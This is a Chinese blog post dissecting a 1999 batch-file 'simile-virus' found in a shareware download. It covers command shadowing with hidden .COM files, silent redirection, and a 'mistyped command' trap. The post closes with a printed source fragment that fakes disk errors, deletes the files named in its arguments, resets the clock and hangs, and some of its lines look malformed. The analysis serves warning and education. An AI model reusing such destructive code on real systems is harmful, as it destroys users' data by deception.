close

本篇短文內容極為敏感
所謂「水能載舟、亦能覆舟」
那就要看是用什麼樣的心態看待它
欲繼續閱覽本文的讀者
務必以正確的心態閱讀本篇短文
倘若因本篇短文內容而造成任何損害~~~恕不負責


如果您識字,活在這個年代中,很難不看到一個名詞--「網路」;如果您的生活已然與「網路」無法斷線,千萬不可輕忽了以下這篇短文。

數據顯示:除了資料瀏覽外,「信件的交流」與「檔案的傳輸」分居使用率的前二強;由於壓縮技術的精進,減少了後者所需的時間。然而在資料傳輸的過程中,如何預防病毒的入侵,仍是現今網路族所不得不預防的課題。

接下來,請您跟隨筆者的導引,讓筆者透過文字,來剖析這已沉睡半世紀玩物;筆者將告訴您十年前一段關於「類病毒」的故事。

西元1999年8月13日 星期五 晴天

話說筆者於某個網站下載了一個共享軟體;以下簡稱為【此檔】,然而在安裝時明顯感覺其執行速度明顯變慢,而且硬碟馬達卻又運作頻繁;當時直覺的反應就是「中毒了」,筆者於是用遍了手中數十種偵毒軟體,結果均無所獲,在此情況下,筆者大概對「毒」太過敏感了吧?然而,筆者仍充滿了好奇的心態,便利用各種工具程式來研究,終於揭發這「詭異的批次程式」。

批次檔的專屬指令
凡使用過DOS指令或對電腦基本概論有所認知的讀者都應知道:在個人電腦系統中,將一些常用的指令,依序寫入一副檔名為.BAT的文字檔中,我們可稱之為「批次檔」。
然而「批次檔」與此檔有何關連呢?首先筆者利用DeBUG指令來分析其結構,居然在所謂的亂碼當中,清楚的看到多個@ECHO OFF字串;此點題醒了筆者;這不是「批次檔」專屬指令嗎?所以先容筆者大膽的假設,其原始碼必定與「批次檔」有關。

程式語言的剖析
我們稱一具有「判斷能力」與「畫面控制」的特性,則可稱之為「程式語言」。依之前的假設,筆者嘗試利用批次作業中的「轉向」及「判斷」的功能,於是更清楚的確定此檔與「批次檔」的關連了。我們先看下面幾個例子:
【例一】COPY C:\Win\command\SYS.COM
【例二】IF EXIST C: \Win\command\SYS.COM COPY C: \Win\command\SYS.COM
【例三】IF EXIST C: \Win\command\SYS.COM COPY C: \Win\command\SYS.COM > NUL


筆者首先要談的是「判斷能力」。在【例一】中,若目錄內沒有SYS.COM時,則執行時會出現「查無檔案」的錯誤訊息。
若將其加上判斷能力【如例二所示】,則只會在檔案存在才會執行;然而只有判斷能力是不夠的,有結果提示將會破壞畫面,而在批次作業中,「轉向」是最佳解決的途徑。

詭異的虛擬畫面
在談過「判斷能力」之後,筆者接下來所要談的就是「虛擬畫面」了。在執行過例二後,在流程無誤時,螢幕上會秀出: 【拷貝成功】的提示,若經過轉向的處理【如例三】則正常執行外,螢幕將不會產生任何訊息。
筆者在此所提到的「轉向」,由於執行後不會出產生何訊息,若與「判斷功能」合併使用,此乃「詭異的批次程式」中最無法掌控的特徵了。

系統內定值
筆者在分析十六進位碼時,赫然在其許多破碎的區段中發現許許多多的 IF..GOTO.. 片段,所以筆者大膽的假設: 該作者於撰寫時,為防止出現不可預期的結果,所以採用「系統內定值」。
所謂《系統內定值》,就是執行時均以使用者最常用的檔名或目錄名稱為第一優先執行。假設使用者的作業系統置於C: \Win\command 的目錄中,若該批次程式欲對其系統有所動做時,則應需要判斷 IF EXIST C: \Win\command\*.* GOTO LABEL 因為系統的當前目錄不會正好位於C: \Win\command 下。

非傳統的批次檔
在傳統印象中,批次檔應該是個純文字檔案,而此「詭異的批次程式」的副檔名卻是 .COM;聰明的讀者看到這裡,應知道原因了吧!此檔是經由網際網路所取得,所以筆者尋遍各大網站,終於發現此工具程式可將 .BAT批次檔轉為 .COM的系統可執行檔;綜合上述各項結果,證明了上述所做的假設。

再談磁碟作業系統
接下來筆者要談談磁碟作業系統,除了內建指令外,可執行的檔案大致可分為三種,那就是副檔名為 .COM與 .EXE及本文的主題.BAT的批次檔;而執行優先順序則依上述三種副檔名,於當前目錄或所設路徑(PATH)出現的最早檔案為其執行檔。而這「詭異的批次程式」便將此致命的特點拿來運用。而筆者有個好的壞習慣,那就是新買的軟體或由網路所下載的任何軟體,均會先以一顆專門測試的硬碟先行處理,所以筆者目前所用的硬碟病毒均無法入侵,也因此得以發現這支「詭異的批次程式」。

而第一次執行此檔案時,筆者發現了一項偉大的創舉: 那就是在 C:\Win\command 目錄中建了許多隱藏的檔案,如 MEM.COM、CHKDSK.COM 等檔案,《 讀者請注意,原版DOS目錄中的 MEM檔案,其副檔為 .EXE 》,而執行MEM時,系統只會執行副檔名為.COM;筆者便是在無意間檢測記憶狀態時,才發現其偉大傑作。

相同的記憶狀態
上述所談到的 MEM.COM 等檔案,筆者檢測其十六進位碼時,發現此檔均利用批次作業中的 ECHO 指令列出,且無論記憶体容量為何,其顯示值均相同,且於顯示過程中添加些許判斷及破壞動作。

凡用過必留下痕跡
每位病毒設計者都會在目標電腦中留個記號,這「詭異的批次程式」也不例外,那就是在當前目錄下留有一支檔案容量為零的檔案。

有點像病毒、又無病毒碼
一個具有破壞性、潛伏性及傳播覆製能力的程式,在電腦字典中有個專有名詞,那就是「電腦病毒」。
今天所討論的男主角: 「詭異的批次程式」,其所包含的特性中,除了無法潛伏於記憶體外;目前尚未發覺,其餘特性均與病毒無異。然而所謂的病毒均有個明顯的特徵,那就是有「病毒碼」,而大多數的病毒均是由低階語言所寫成的,而本篇所提的批次程式,筆者曾用數種偵毒程式,其均安全通過了;而這個「有點像病毒,又無病毒碼」的詭異程式,筆者在此稱它為「類病毒」(Simile-Virus)。

誤打指令法
最後,此「類病毒」的設計者創造了一種滿特別的破壞點: 誤打指令法。讀者看到這個名詞是否會很糢糊,別急,筆者還沒解釋。讀者不知是否常犯一種錯誤: 在敲鍵盤時,時常不注意的敲錯某個字母或多打一個;然而筆者就不只一次的誤犯,而其「類病毒」的原創者竟將此研製成破壞性。

以下的範例是由檔名為 DIRW.COM 所截取,經長期追蹤、查詢與研究分析所得的原始碼部份片段:
@ECHO OFF
 TYPE UIRVS.COM > UIRVS.COM
 DIR/W/B %1 > DIRW.TXT
 IF EXIST DIRW.TXT TYPE DIRW.TXT
 ECHO Write protect error writing drive C
 ECHO Abort,Retry,Fail?
 DEL DIRW.TXT
 PAUSE > NUL
 IF NOT EXIST "%1"=="" FOR %%H IN(%1) DO DEL %%H
 DATE 03-05-99
 TIME 23:59:53
:DIRW
 GOTO DIRW
:END


說了幾項特點,您是不是要問: 此檔案意欲為何呢?筆者的直覺是無聊吧。但筆者還是要提醒各位: 依照多年的經驗,在網路上,此類所謂的無聊人士還不算少數,望請讀者自行留意、小心。

現今各類軟體程式不斷的精進,只有批次模式能保持不變;倘若使用者為了使用某功能,而需重新學習一套系統,似乎不慎公平,而批次作業正有此優點,因為它數年來均保持相同的模式。

一般網路族多多少少有過中毒的經驗,病毒可說是其心腹大患,然而本篇所探討的「類病毒」可說是高階語言下的新產物;希望能藉由筆者的剖析,能對讀者有所助益。最後,提醒您,安裝軟體時不要全盤使用系統的預定組態,方可讓無聊人士無可乘之機。

在讀者在讀過本篇文章後,希望能喚起您對批次作業的回憶,當然不是請您再去研究另一支「批次程式」;如果您沒有接觸過批次作業,希望能引起您的興趣,若能將此拿來設計「安裝系統」或「系統選單」皆為很好的工具。今以野人獻曝之情,公諸於世,若可以拋磚引玉或得先進之士不吝匡正,則感幸甚。

arrow
arrow
    全站熱搜

    XiANG 發表在 痞客邦 留言(0) 人氣()